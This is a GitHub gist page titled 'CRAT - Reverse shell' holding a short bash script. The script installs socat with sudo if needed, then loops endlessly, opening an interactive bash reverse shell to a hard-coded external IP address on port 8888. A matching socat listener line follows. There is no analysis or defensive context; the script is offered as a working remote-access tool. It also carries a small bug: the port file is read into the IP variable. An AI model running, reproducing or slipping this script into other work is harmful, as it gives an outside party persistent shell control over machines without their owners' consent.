Skip to content

Instantly share code, notes, and snippets.

@AsP3X
Last active December 21, 2021 16:52
Show Gist options
  • Save AsP3X/b4874b1d9a0da48dc9885600a8939445 to your computer and use it in GitHub Desktop.
Save AsP3X/b4874b1d9a0da48dc9885600a8939445 to your computer and use it in GitHub Desktop.
CRAT - Reverse shell
#/bin/bash
if [ ! -x "$(command -v socat)" ]; then sudo apt install -y socat; fi
while true
do
# check if the file ip-address.txt exists
if [ -f /etc/crat_config/rev_ip.txt ]; then rev_ip=$(cat /etc/crat_config/rev_ip.txt); fi
if [ -f /etc/crat_config/rev_port.txt ]; then rev_ip=$(cat /etc/crat_config/rev_port.txt); fi
# check if the variable rev_ip is empty if so set the default value to 172.104.240.146
if [ -z "$rev_ip" ]; then rev_ip="172.104.240.146"; fi
if [ -z "$rev_port" ]; then rev_port="8888"; fi
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$rev_ip:$rev_port
done
socat file:`tty`,raw,echo=0 tcp-listen:$1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment